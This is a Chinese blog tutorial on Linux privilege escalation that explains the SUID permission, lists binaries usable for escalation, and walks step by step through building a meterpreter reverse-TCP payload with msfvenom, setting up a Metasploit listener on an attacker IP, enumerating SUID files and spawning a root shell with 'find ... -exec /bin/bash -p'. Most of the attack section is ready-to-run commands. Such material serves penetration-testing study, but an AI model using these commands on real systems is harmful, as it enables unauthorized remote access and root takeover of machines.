当前位置:网站首页>反弹shell通过普通用户进行SUID提权
反弹shell通过普通用户进行SUID提权
2022-07-21 19:13:00 【sGanYu】
SUID
当执行的文件被赋予了s权限,也就是对UID进行Set操作,简称为SUID的特殊权限
Linux中修改用户的passwd就是个进行Set UID操作。如果普通账号tom需要修改密码,就要访问/etc/shadow,由于/etc/passwd文件是所有用户都可读的,如果用户的密码太简单或规律比较明显的话,一台普通的计算机就能够很容易地将它破解,因此对安全性要求较高的Linux系统都把加密后的口令字分离出来,单独存放在一个文件中,这个文件是/etc/shadow文件,有超级用户才拥有该文件读权限,但是该文件只有root能访问。那是怎么修改的呢?
运行该程序时发现被赋予了s权限。当tom需要修改密码,passwd程序的所有者为root,tom用户执行passwd 程序的过程中会暂时获得root权限
提权原理:
查看当前具有SUID权限的用户,再利用具有SUID权限用户去执行需要的命令
可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
赋予/取消s权限命令:
赋予s权限:chmod u+s /usr/bin/find
取消s权限:chmod u-s /usr/bin/find
以下任意一个命令都可以查看系统上运行的所有SUID可执行文件,一个一个试:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
Linux通过反弹shell获取普通用户权限
1)通过msfvenom构造木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.200.140 LPORT=8888 -f elf > mshell.elf
2)启动msf,设置监听,查看需要配置的参数
use exploit/multi/handler
show options
3)设置监听地址,端口,payload
set lhost 192.168.200.140
set lport 8888
set payload linux/x64/meterpreter/reverse_tcp
show options
4)通过运行木马获取meterpreter会话
exploit
5)获取shell,查看当前权限
shell
whoami
6)查看具有root用户权限的SUID文件
命令如下:
find / -perm -u=s -type f 2>/dev/null
7)利用find文件提权
首先创建一个a.txt
touch a.txt
8)先看一下是否能用find命令以root权限运行
命令如下:
/usr/bin/find a.txt -exec /bin/bash -p \;
查看当前权限为root,则成功提权
边栏推荐
- 智能手机天线调谐
- 洗衣店小程序源码-增加对接第三方跑腿
- Adroid APP测试方案
- 能量原理与变分法笔记07: 多个自变函数的变分问题+条件极值问题的变分法+第一章的思考
- [cicadaplayer] vs2019 (v142) x64 ffmepg: error c2169: "lrintf": internal function, cannot be defined
- 基于卡尔曼滤波的微电网调度(Matlab代码实现)
- Energy principle and variational method note 02: variational problems variational and differential operations can exchange ordered Euler equations
- List iterator
- 嵌入式总线与通信
- Is it safe for Dongfang fortune to open an account? What certificates do you need
猜你喜欢
Embedded bus and communication
2022开源PHP留言反馈管理系统 v2.0
std::thread 与类对象结合
微信小程序开发学习6(基础加强之使用npm包和全局数据共享及分包【Tab底栏案例改进】)
Service & Endpoint
他51岁,给卫星写代码:彪悍的人生,从来不怕晚
Energy principle and variational method note 06: variational problems of higher-order derivatives (including higher-order derivatives of functions)
新品发布:总线视频监控专用VGA显示驱动模组
公司新来一个同事,把 Typora 玩得炉火纯青!太强悍了
Energy principle and variational method note 08: derivation of virtual work principle
随机推荐
el-table-column嵌套el-table-column ,多级表头横向滚动的bug
OSPF 综合实验
Rhcsa browsing common file usage, use of grep, cut, uniq, sort, TR commands
详细分析一个ROS2 CMakeLists.txt文件
Adroid APP测试方案
At the age of 51, he wrote code for the satellite: tough life, never afraid of late
Explanation of fast SCNN and implementation using tensorflow 2.0
Google Earth Engine APP——UI地图加载一个高程显示标签并显示高程案例
Smart phone antenna tuning
Laundry applet source code - add docking with third-party errands
Understanding of web standards and W3C?
Microgrid scheduling based on Kalman filter (matlab code implementation)
多线程 里面 使用AtomicInteger类,保证线程安全
List iterator
金仓数据库KMonitor使用指南--2. 监控指标
jvm的Finalizer
Memorize these interview questions, and you will be half successful in any technical aspect
QT creator 8 release
【GNN】Graph Lifelong Learning: A Survey
11-GuliMall 后台管理中商品系统的分类维护